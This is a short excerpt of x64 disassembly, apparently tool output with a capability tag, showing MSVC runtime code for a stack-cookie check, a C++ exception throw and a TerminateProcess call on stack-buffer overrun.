mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140001c58
add rsp, 0x98
ret
lea rdx, str.GlobalMemoryStatusEx_failed
lea rcx, [rsp + 0x20]
call fcn.1400016d1
lea rdx, [0x140115758]
lea rcx, [rsp + 0x20]
call sub.VCRUNTIME140.dll__CxxThrowException
int3

Function at 0x140001960
Capabilities:
Terminate process

Disassembly:
jmp 0x140090058
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]